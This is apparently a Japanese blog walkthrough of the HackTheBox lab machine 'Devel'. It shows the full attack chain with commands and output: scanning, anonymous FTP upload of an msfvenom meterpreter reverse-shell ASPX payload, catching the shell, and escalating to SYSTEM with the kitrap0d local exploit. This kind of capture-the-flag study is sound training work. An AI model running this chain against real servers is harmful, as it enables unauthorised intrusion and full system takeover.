Port 53

明日のための技術メモ

HackTheBox Devel Walkthrough

f:id:saturn-glave:20210313193918p:plain

www.hackthebox.eu

HackTheBoxのDevelのWalkthrough書きます。 ペイロードを作る・権限昇格のお勉強が続く...

目次

ポートスキャン

初手autorecon。autoreconは、nmap, niktoなどの有名どころのスキャンツールをひとまとめにし、
コマンド一発で網羅的にスキャンできるツールを教えてもらったので、使ってみた。
食事中や寝ているときにかけておけば、時間を有効に使える。
ただし、これだけ頼るのではなく、必要に応じて手動でもかけた方が良い。

一般ユーザのままでいいので、autorecon ターゲットマシンのIPアドレスで実行できる。
インストール方法はGitHubを参照。Pythonがあれば簡単にできる。
スキャン結果は、resultというフォルダに格納される。

github.com

早速結果を見てみる。 ポート21番(FTP)と80番(HTTP)が空いていて、 - FTP Anonymous Loginが可能(ファイル転送し放題) - Microsoft-IIS/7.5が使用されている ことが分かる。まずはFTPサーバの中身を見てみることに。

# Nmap 7.91 scan initiated Sat Jan 30 21:50:43 2021 as: nmap -vv --reason -Pn -sV -sC --version-all -oN /home/kali/results/10.10.10.5/scans/_quick_tcp_nmap.txt -oX /home/kali/results/10.10.10.5/scans/xml/_quick_tcp_nmap.xml 10.10.10.5
Nmap scan report for 10.10.10.5
Host is up, received user-set (0.13s latency).
Scanned at 2021-01-30 21:50:50 JST for 62s
Not shown: 998 filtered ports
Reason: 998 no-responses
PORT   STATE SERVICE REASON  VERSION
21/tcp open  ftp     syn-ack Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  01:06AM       <DIR>          aspnet_client
| 03-17-17  04:37PM                  689 iisstart.htm
|_03-17-17  04:37PM               184946 welcome.png
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp open  http    syn-ack Microsoft IIS httpd 7.5
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan 30 21:51:52 2021 -- 1 IP address (1 host up) scanned in 69.46 seconds

FTPサーバの調査

遡っても2_0_50727というディレクトリまでで面白くない。
ただ、aspnet_clientというディレクトリは気になる。
ファイル転送はこのFTPサーバを悪用すれば良さそう。

┌──(kali㉿kali)-[~/tools]
└─$ ftp 10.10.10.5                                                                                                                                    130 ⨯
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
03-18-17  01:06AM       <DIR>          aspnet_client
03-17-17  04:37PM                  689 iisstart.htm
03-17-17  04:37PM               184946 welcome.png
226 Transfer complete.
ftp> cd aspnet_client
250 CWD command successful.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
03-18-17  01:06AM       <DIR>          system_web
226 Transfer complete.
ftp> cd system_web
250 CWD command successful.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
03-18-17  01:06AM       <DIR>          2_0_50727

Webサーバの調査

IIS 7.5の脆弱性を調べたがあまりピンとくるものがないので、Webサーバの調査をする。 普通にブラウザを開いてアクセスすると、IISのようこそ画面が出た。
実はこれ、FTPサーバに上がっていたwelcome.pngと同じ内容。

f:id:saturn-glave:20210313214722p:plain

autoreconのWeb系スキャンでは、nikto, whatweb, nmapのポート80番スキャンや
httpのNSE script、gobusterのディレクトリ列挙などが使える。
whatwebの結果を見てみると、x-powered-byヘッダにASP.NETがいるのが気になる

WhatWeb report for http://10.10.10.5:80
Status    : 200 OK
Title     : IIS7
IP        : 10.10.10.5
Country   : RESERVED, ZZ

Summary   : X-Powered-By[ASP.NET], HTTPServer[Microsoft-IIS/7.5], Microsoft-IIS[7.5][Under Construction]

Detected Plugins:
[ HTTPServer ]
    HTTP server header string. This plugin also attempts to 
    identify the operating system from the server header. 

    String       : Microsoft-IIS/7.5 (from server string)

[ Microsoft-IIS ]
    Microsoft Internet Information Services (IIS) for Windows 
    Server is a flexible, secure and easy-to-manage Web server 
    for hosting anything on the Web. From media streaming to 
    web application hosting, IIS's scalable and open 
  architecture is ready to handle the most demanding tasks. 

  Module       : Under Construction
  Version      : 7.5
  Website     : http://www.iis.net/

[ X-Powered-By ]
  X-Powered-By HTTP header 

  String       : ASP.NET (from x-powered-by string)

HTTP Headers:
  HTTP/1.1 200 OK
  Content-Type: text/html
  Last-Modified: Fri, 17 Mar 2017 14:37:30 GMT
  Accept-Ranges: bytes
  ETag: "37b5ed12c9fd21:0"
  Server: Microsoft-IIS/7.5
  X-Powered-By: ASP.NET
  Date: Sat, 30 Jan 2021 12:51:52 GMT
  Connection: close
  Content-Length: 689

ASP.NETを調べてみると、Microsoftが開発・提供しているWebアプリケーションフレームワークで、
動的なウェブサイトやWebアプリケーションやWebサービスの開発や運用を行うものらしい。
aspxが一般的な拡張子なので、これでペイロード(リバースシェル)作って送り込めないかなぁと考える。

dotnet.microsoft.com

ペイロード作成・転送

msfvenomを使って拡張子がaspxのペイロードを作る。
これを使ってリバースシェルを張りたいので、モジュールはwindows/meterpreter/reverse_tcpを使う。

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=KaliのIPアドレス LPORT=4444 -f aspx >reverse.aspx

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of aspx file: 2895 bytes

FTPサーバにぶん投げる

┌──(kali㉿kali)-[~]
└─$ ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> put reverse.aspx
local: reverse.aspx remote: reverse.aspx
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
2932 bytes sent in 0.00 secs (20.5601 MB/s)
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
03-18-17  01:06AM       <DIR>          aspnet_client
03-17-17  04:37PM                  689 iisstart.htm
02-20-21  03:18PM                 2932 reverse.aspx
03-17-17  04:37PM               184946 welcome.png
226 Transfer complete.

metasploitでリバースシェルを受け取るハンドラを作成

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST KaliのIPアドレス
LHOST => KaliのIPアドレス
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     KaliのIPアドレス       yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on KaliのIPアドレス:4444 
[*] Sending stage (175174 bytes) to 10.10.10.5
[*] Meterpreter session 1 opened (KaliのIPアドレス:4444 -> 10.10.10.5:49157) at 2021-02-20 22:20:42 +0900

ブラウザからいざペイロード実行

f:id:saturn-glave:20210313232651p:plain

metasploitで起動したTCPハンドラで、meterpreterのセッションが開始される。
無事サーバの中に入れたっぽい。

meterpreter > getuid
Server username: IIS APPPOOL\Web
meterpreter > dir
Listing: c:\windows\system32\inetsrv
====================================

Mode              Size     Type  Last modified              Name
----              ----     ----  -------------              ----
100666/rw-rw-rw-  138752   fil   2009-07-14 09:11:35 +0900  AppHostNavigators.dll
100777/rwxrwxrwx  125440   fil   2009-07-14 09:10:51 +0900  InetMgr.exe
100666/rw-rw-rw-  126976   fil   2009-07-14 07:39:34 +0900  Microsoft.Web.Administration.dll
100666/rw-rw-rw-  1048576  fil   2009-07-14 07:39:42 +0900  Microsoft.Web.Management.dll
100666/rw-rw-rw-  137728   fil   2009-07-14 09:11:35 +0900  XPath.dll
100777/rwxrwxrwx  155648   fil   2009-07-14 09:11:25 +0900  appcmd.exe
100666/rw-rw-rw-  3654     fil   2009-06-11 06:17:16 +0900  appcmd.xml
100666/rw-rw-rw-  61440    fil   2009-07-14 09:11:12 +0900  apphostsvc.dll
100666/rw-rw-rw-  313856   fil   2009-07-14 09:11:17 +0900  appobj.dll
100666/rw-rw-rw-  389632   fil   2009-07-14 09:11:14 +0900  asp.dll
100666/rw-rw-rw-  22196    fil   2009-07-14 06:04:57 +0900  asp.mof
-------- 略 ----------

が、入れたのは一般ユーザであり...

meterpreter > dir c:/Users
Listing: c:/Users
=================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
40777/rwxrwxrwx   8192  dir   2017-03-18 08:16:43 +0900  Administrator
40777/rwxrwxrwx   0     dir   2009-07-14 13:53:55 +0900  All Users
40777/rwxrwxrwx   8192  dir   2017-03-18 08:06:26 +0900  Classic .NET AppPool
40555/r-xr-xr-x   8192  dir   2009-07-14 11:37:05 +0900  Default
40777/rwxrwxrwx   0     dir   2009-07-14 13:53:55 +0900  Default User
40555/r-xr-xr-x   4096  dir   2009-07-14 11:37:05 +0900  Public
40777/rwxrwxrwx   8192  dir   2017-03-17 23:17:37 +0900  babis
100666/rw-rw-rw-  174   fil   2009-07-14 13:41:57 +0900  desktop.ini

meterpreter > dir c:/Users/All Users
[-] stdapi_fs_stat: Operation failed: The system cannot find the file specified.
meterpreter > dir c:/Users/babis
[-] stdapi_fs_ls: Operation failed: Access is denied.

# 普通に権限昇格は無理
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: This function is not supported on this system. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)

当然のことながら、ユーザディレクトリ閲覧やgetsystemコマンドでの権限昇格は無理でした/(^o^)\

権限昇格

じゃあどうするの、ということで少し調べると、metasploitに権限昇格ツールがあるので、
それを使ってみることにした。

今のmeterpreterセッションをバックグラウンド実行にし、post/multi/recon/local_exploit_suggesterで 今回のサーバ(IIS 7.5)にあった権限昇格の方法を探す。 セッションをバックグラウンドにするには、backgroudコマンドを実行する。
実行結果には、バックグラウンドセッションの番号が返ってくるので、これを覚えておく。

meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > show options

Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on
   SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits

post/multi/recon/local_exploit_suggesterには、セッション番号がオプションに必要。
SESSIONオプションにバックグラウンドセッションの番号を入れて実行する。
すると、いくつか脆弱性を突くモジュールを自動で実行し、その結果を画面に出してくれる。

msf6 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
msf6 post(multi/recon/local_exploit_suggester) > run

[*] 10.10.10.5 - Collecting local exploits for x86/windows...
[*] 10.10.10.5 - 36 exploit checks are being tried...
[+] 10.10.10.5 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
nil versions are discouraged and will be deprecated in Rubygems 4
[+] 10.10.10.5 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms15_004_tswbproxy: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[*] Post module execution completed

結果に出てきたものの中のExploitを片っ端から試す。
今回は、windows/local/ms10_015_kitrap0dを試した。

msf6 exploit(windows/local/ms10_015_kitrap0d) > set session 1
session => 1
msf6 exploit(windows/local/ms10_015_kitrap0d) > run

[*] Started reverse TCP handler on 192.168.169.4:4444 
[*] Launching notepad to host the exploit...
[+] Process 1196 launched.
[*] Reflectively injecting the exploit DLL into 1196...
[*] Injecting exploit into 1196 ...
[*] Exploit injected. Injecting payload into 1196...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/ms10_015_kitrap0d) > set LHOST KaliのIPアドレス
LHOST => KaliのIPアドレス
msf6 exploit(windows/local/ms10_015_kitrap0d) > run

[*] Started reverse TCP handler on KaliのIPアドレス:4444 
[*] Launching notepad to host the exploit...
[+] Process 1960 launched.
[*] Reflectively injecting the exploit DLL into 1960...
[*] Injecting exploit into 1960 ...
[*] Exploit injected. Injecting payload into 1960...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (175174 bytes) to 10.10.10.5
[*] Meterpreter session 2 opened (KaliのIPアドレス:4444 -> 10.10.10.5:49160) at 2021-02-20 22:56:12 +0900

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

フラグを探す

今度はきちんと権限昇格できているので、無事ユーザディレクトリが閲覧できた。
権限昇格とペイロード作成、もう少し勉強しないと厳しいな...

meterpreter > dir
Listing: c:\Users\babis\Desktop
===============================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2017-03-17 23:17:51 +0900  desktop.ini
100444/r--r--r--  32    fil   2017-03-18 08:14:21 +0900  user.txt.txt

meterpreter > dir
Listing: c:\Users\Administrator\Desktop
=======================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2017-03-18 08:16:53 +0900  desktop.ini
100444/r--r--r--  32    fil   2017-03-18 08:17:20 +0900  root.txt

meterpreter > exit
[*] Shutting down Meterpreter...